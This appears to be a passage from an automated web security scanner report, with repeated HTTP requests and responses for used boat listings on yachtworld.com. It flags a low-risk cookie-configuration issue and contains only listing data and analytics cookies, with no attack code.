VIEWED_BOATS_STORE=2030806%5B%25%5D32%27+Regulator+Center+console%5B%25%5DUSD%26nbsp%3B159%2C500%5B%25%5DVA%2C+United+States%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F0%2F3%2F0%2F8%2F2030806_9_mini.jpg%3F1281995171000%5B%25%5D%2Fboats%2F2007%2FRegulator-Center-console-2030806%2FVA%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; path=/; expires=Fri, 27-Jan-2012 19:58:49 GMT Set-Cookie: VIEWED_BOATS_STORE=2030806%5B%25%5D32%27+Regulator+Center+console%5B%25%5DUSD%26nbsp%3B159%2C500%5B%25%5DVA%2C+United+States%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F0%2F3%2F0%2F8%2F2030806_9_mini.jpg%3F1281995171000%5B%25%5D%2Fboats%2F2007%2FRegulator-Center-console-2030806%2FVA%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; domain=www.boats.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /boats/2008/Regulator-32-Classic-2250145/Babylon/NY/United-States HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:58:50 GMT Server: Apache Cache-Control: private If-Modified-Since: Thu, 27 Jan 2011 17:33:34 GMT Content-Language: en-US Set-Cookie: VIEWED_BOATS_STORE=2250145%5B%25%5D32%27+Regulator+32+Classic%5B%25%5DUSD%26nbsp%3B159%2C900%5B%25%5DBabylon%2C+NY%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F5%2F0%2F1%2F2250145_1_mini.jpg%3F1282409230000%5B%25%5D%2Fboats%2F2008%2FRegulator-32-Classic-2250145%2FBabylon%2FNY%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; path=/; expires=Fri, 27-Jan-2012 19:58:49 GMT Set-Cookie: VIEWED_BOATS_STORE=2250145%5B%25%5D32%27+Regulator+32+Classic%5B%25%5DUSD%26nbsp%3B159%2C900%5B%25%5DBabylon%2C+NY%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F5%2F0%2F1%2F2250145_1_mini.jpg%3F1282409230000%5B%25%5D%2Fboats%2F2008%2FRegulator-32-Classic-2250145%2FBabylon%2FNY%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; domain=www.boats.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /boats/2008/Regulator-32-Fs-2203131/Port-Clinton/OH/United-States HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:58:50 GMT Server: Apache Cache-Control: private If-Modified-Since: Thu, 20 Jan 2011 19:08:49 GMT Content-Language: en-US Set-Cookie: VIEWED_BOATS_STORE=2203131%5B%25%5D32%27+Regulator+32+FS%5B%25%5DUSD%26nbsp%3B188%2C900%5B%25%5DPort+Clinton%2C+OH%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F0%2F3%2F1%2F2203131_13_mini.jpg%3F1282073289000%5B%25%5D%2Fboats%2F2008%2FRegulator-32-FS-2203131%2FPort-Clinton%2FOH%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; path=/; expires=Fri, 27-Jan-2012 19:58:50 GMT Set-Cookie: VIEWED_BOATS_STORE=2203131%5B%25%5D32%27+Regulator+32+FS%5B%25%5DUSD%26nbsp%3B188%2C900%5B%25%5DPort+Clinton%2C+OH%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F0%2F3%2F1%2F2203131_13_mini.jpg%3F1282073289000%5B%25%5D%2Fboats%2F2008%2FRegulator-32-FS-2203131%2FPort-Clinton%2FOH%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; domain=www.boats.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /boats/2008/Regulator-32-Fs-2272100/Hampton/VA/United-States HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
